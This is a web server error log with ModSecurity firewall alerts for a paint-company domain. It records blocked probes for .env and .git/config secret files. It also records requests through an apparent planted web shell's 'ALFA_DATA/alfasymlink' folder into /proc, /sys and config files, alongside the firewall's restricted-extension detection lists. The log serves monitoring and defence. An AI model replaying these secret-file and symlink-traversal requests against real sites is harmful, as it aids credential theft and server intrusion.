[Mon Oct 26 18:04:07.070199 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at_OV6FL9aMETz-8AU8figAAAAQ"]
[Mon Oct 26 18:04:07.227733 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at_OV6FL9aMETz-8AU8fiwAAAAQ"]
[Mon Oct 26 18:04:07.227933 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at_OV6FL9aMETz-8AU8fiwAAAAQ"]
[Mon Oct 26 18:04:07.228263 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at_OV6FL9aMETz-8AU8fiwAAAAQ"]
[Mon Oct 26 18:04:07.352554 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at_OV6FL9aMETz-8AU8fjAAAAAQ"]
[Mon Oct 26 18:04:07.352839 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at_OV6FL9aMETz-8AU8fjAAAAAQ"]
[Mon Oct 26 18:04:07.353172 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at_OV6FL9aMETz-8AU8fjAAAAAQ"]
[Mon Oct 26 18:04:07.615120 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at_OV6FL9aMETz-8AU8fjQAAAAQ"]
[Mon Oct 26 18:04:07.615404 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at_OV6FL9aMETz-8AU8fjQAAAAQ"]
[Mon Oct 26 18:04:07.615697 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at_OV6FL9aMETz-8AU8fjQAAAAQ"]
[Mon Oct 26 18:04:07.642193 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OV_Ctl1PgaN9A_9xLfwAAADQ"]
[Mon Oct 26 18:04:07.642409 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OV_Ctl1PgaN9A_9xLfwAAADQ"]
[Mon Oct 26 18:04:07.642708 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OV_Ctl1PgaN9A_9xLfwAAADQ"]
[Mon Oct 26 18:04:07.714918 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at_OV6FL9aMETz-8AU8fjgAAAAQ"]
[Mon Oct 26 18:04:07.715143 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at_OV6FL9aMETz-8AU8fjgAAAAQ"]
[Mon Oct 26 18:04:07.715479 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at_OV6FL9aMETz-8AU8fjgAAAAQ"]
[Mon Oct 26 18:04:07.830897 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at_OV6FL9aMETz-8AU8fjwAAAAQ"]
[Mon Oct 26 18:04:07.831146 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at_OV6FL9aMETz-8AU8fjwAAAAQ"]
[Mon Oct 26 18:04:07.831504 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at_OV6FL9aMETz-8AU8fjwAAAAQ"]
[Mon Oct 26 18:04:07.983684 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at_OV6FL9aMETz-8AU8fkAAAAAQ"]
[Mon Oct 26 18:04:07.984035 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at_OV6FL9aMETz-8AU8fkAAAAAQ"]
[Mon Oct 26 18:04:07.984377 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at_OV6FL9aMETz-8AU8fkAAAAAQ"]
[Mon Oct 26 18:04:07.996562 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OV_Ctl1PgaN9A_9xLgQAAADQ"]
[Mon Oct 26 18:04:07.996891 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OV_Ctl1PgaN9A_9xLgQAAADQ"]
[Mon Oct 26 18:04:07.997287 2026] [security2:error] [pid 3084053:tid 3084053] [client 34.17.201.39:48040] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OV_Ctl1PgaN9A_9xLgQAAADQ"]
[Mon Oct 26 18:04:14.234779 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 23.21.225.190:33070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu0/firmware_node/subsystem/uevent
[Mon Oct 26 18:04:22.158069 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.166.104.83:49803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:42.152073 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.66.172:59430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:50.171078 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 98.82.40.168:8484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:54.165943 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.22.59.87:21918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:58.305598 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.205.127.11:47656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:11.181892 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 85.208.96.206:24310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:14.420256 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 23.21.119.232:58992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:18.410130 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.235.158.19:60962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:18.410320 2026] [security2:error] [pid 3098113:tid 3098113] [client 18.235.158.19:60962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory3/uevent"] [unique_id "at_OnrHarSgES5WqcDhHEQAAAAU"]
[Mon Oct 26 18:05:18.410344 2026] [security2:error] [pid 3098113:tid 3098113] [client 18.235.158.19:60962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory3/uevent"] [unique_id "at_OnrHarSgES5WqcDhHEQAAAAU"]
[Mon Oct 26 18:05:22.185235 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.80.73.122:31844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:26.381849 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.213.213.161:60425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:30.164740 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.84.200.43:19027] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:32.623954 2026] [security2:error] [pid 3106856:tid 3106856] [client 43.133.187.11:39260] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_OrDDkl-Y9NiWKcXVWbwAAAAA"]
[Mon Oct 26 18:05:32.625806 2026] [authz_core:error] [pid 3106856:tid 3106856] [client 43.133.187.11:39260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 18:05:46.182936 2026] [ssl:error] [pid 3084023:tid 3084023] (5)Input/output error: [client 98.83.72.38:53354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:05:58.212907 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 54.156.55.147:36746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/ACPI0010:00/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 18:06:02.184574 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.221.50.71:40452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:06:05.487359 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 85.208.96.204:43102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/red_zone
[Mon Oct 26 18:06:06.182192 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.200.251.20:49938] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:06:22.165325 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.221.203.24:3479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:06:26.287642 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_O1jS1e-yu7xYT1dr6agAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:06:26.287704 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56641] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_O1jS1e-yu7xYT1dr6agAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 18:06:30.223605 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.147.182.90:15185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:06:42.770844 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.18:50906] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-xslt-filter.conf"] [unique_id "at_O8j77nSD73jfhp0aDHwAAAAc"]
[Mon Oct 26 18:06:42.771216 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.18:50906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-xslt-filter.conf"] [unique_id "at_O8j77nSD73jfhp0aDHwAAAAc"]
[Mon Oct 26 18:06:42.771485 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.18:50906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/nginx/modules/mod-http-xslt-filter.conf"] [unique_id "at_O8j77nSD73jfhp0aDHwAAAAc"]
[Mon Oct 26 18:06:46.266841 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 34.206.212.24:63729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 18:06:54.204800 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.6.5.24:44733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:07:11.616081 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 185.191.171.19:39450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/red_zone
[Mon Oct 26 18:07:18.153634 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.212.205.90:9197] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:07:26.264573 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.195.145.102:26850] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:07:34.260367 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 3.224.215.150:60802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:07:46.141754 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.197.178.107:19686] AH02013: coalesce failed to read from data bucket
